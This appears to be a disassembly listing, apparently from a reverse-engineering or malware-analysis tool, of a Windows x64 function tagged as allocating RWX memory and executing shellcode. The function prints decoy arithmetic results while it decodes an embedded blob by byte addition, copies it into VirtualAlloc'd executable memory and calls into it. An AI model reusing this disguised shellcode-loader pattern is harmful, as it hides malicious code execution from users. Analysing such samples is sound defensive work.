Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x180
movaps xmmword [rsp + 0x170], xmm6
mov rax, qword [0x140040388]
xor rax, rsp
mov qword [rsp + 0x168], rax
lea rsi, [0x140041510]
lea r14, str.The_sum_of_numbers_from_1_to_100_is:
mov rcx, rsi
mov rdx, r14
call fcn.1400014a0
mov rcx, rax
mov edx, 0x13ba
call fcn.1400018a0
mov rcx, rax
call fcn.140001bc0
lea r15, str.The_sum_is_even.
mov rcx, rsi
mov rdx, r15
call fcn.1400014a0
mov rcx, rax
call fcn.140001bc0
lea r13, str.The_average_is:
mov rcx, rsi
mov rdx, r13
call fcn.1400014a0
movsd xmm6, qword [0x14002c140]
mov rcx, rax
movaps xmm1, xmm6
call fcn.140001c90
mov rcx, rax
call fcn.140001bc0
lea rdi, str.The_product_of_the_first_10_numbers_is:
mov rcx, rsi
mov rdx, rdi
call fcn.1400014a0
mov edx, 0x375f00
mov rcx, rax
call fcn.140001fd0
mov rcx, rax
call fcn.140001bc0
lea rdx, section..rdata
lea r12, [rsp + 0x20]
mov r8d, 0x140
mov rcx, r12
call fcn.14000bbf0
mov rcx, rsi
mov rdx, r14
call fcn.1400014a0
mov rcx, rax
mov edx, 0x2774
call fcn.1400018a0
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, r15
call fcn.1400014a0
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, r13
call fcn.1400014a0
mov rcx, rax
movaps xmm1, xmm6
call fcn.140001c90
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, rdi
call fcn.1400014a0
movabs rdx, 0xbf9f5410000
mov rcx, rax
call fcn.140001fd0
mov rcx, rax
call fcn.140001bc0
movdqa xmm0, xmmword [0x14002c150]
movdqa xmm1, xmmword [rsp + 0x20]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0x30]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0x20], xmm1
movdqa xmmword [rsp + 0x30], xmm2
movdqa xmm1, xmmword [rsp + 0x40]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0x50]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmm1, xmmword [rsp + 0x60]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0x70]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x70], xmm2
movdqa xmm1, xmmword [rsp + 0x80]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0x90]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x90], xmm2
movdqa xmm1, xmmword [rsp + 0xa0]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0xb0]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmm1, xmmword [rsp + 0xc0]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0xd0]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xd0], xmm2
movdqa xmm1, xmmword [rsp + 0xe0]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0xf0]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0xe0], xmm1
movdqa xmmword [rsp + 0xf0], xmm2
movdqa xmm1, xmmword [rsp + 0x100]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rsp + 0x110]
paddb xmm2, xmm0
movdqa xmmword [rsp + 0x100], xmm1
movdqa xmmword [rsp + 0x110], xmm2
movdqa xmm1, xmmword [rsp + 0x120]
paddb xmm1, xmm0
paddb xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x120], xmm1
movdqa xmmword [rsp + 0x130], xmm0
movq xmm0, qword [rsp + 0x140]
movdqa xmm1, xmmword [0x14002c160]
paddb xmm0, xmm1
movq qword [rsp + 0x140], xmm0
movq xmm0, qword [rsp + 0x148]
paddb xmm0, xmm1
movq qword [rsp + 0x148], xmm0
movq xmm0, qword [rsp + 0x150]
paddb xmm0, xmm1
movq qword [rsp + 0x150], xmm0
add byte [rsp + 0x158], 0xea
add byte [rsp + 0x159], 0xea
add byte [rsp + 0x15a], 0xea
add byte [rsp + 0x15b], 0xea
add byte [rsp + 0x15c], 0xea
add byte [rsp + 0x15d], 0xea
add byte [rsp + 0x15e], 0xea
mov edx, 0xc8
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rcx, rsi
mov rdx, r14
call fcn.1400014a0
mov rcx, rax
mov edx, 0x3b2e
call fcn.1400018a0
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, r15
call fcn.1400014a0
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, r13
call fcn.1400014a0
mov rcx, rax
movaps xmm1, xmm6
call fcn.140001c90
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, rdi
call fcn.1400014a0
movabs rdx, 0x972572fa1f000000
mov rcx, rax
call fcn.140001fd0
mov rcx, rax
call fcn.140001bc0
mov r8d, 0x140
mov rcx, rbx
mov rdx, r12
call fcn.14000bbf0
mov rcx, rsi
mov rdx, r14
call fcn.1400014a0
mov rcx, rax
mov edx, 0x4ee8
call fcn.1400018a0
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, r15
call fcn.1400014a0
mov rcx, rax
call fcn.140001bc0
lea rdx, str.The_average_is
mov rcx, rsi
call fcn.1400014a0
mov rcx, rax
movaps xmm1, xmm6
call fcn.140001c90
mov rcx, rax
call fcn.140001bc0
mov rcx, rsi
mov rdx, rdi
call fcn.1400014a0
movabs rdx, 0x99677a8100000000
mov rcx, rax
call fcn.140001fd0
mov rcx, rax
call fcn.140001bc0
call rbx
mov rcx, qword [rsp + 0x168]
xor rcx, rsp
call fcn.140007040
xor eax, eax
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x180
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret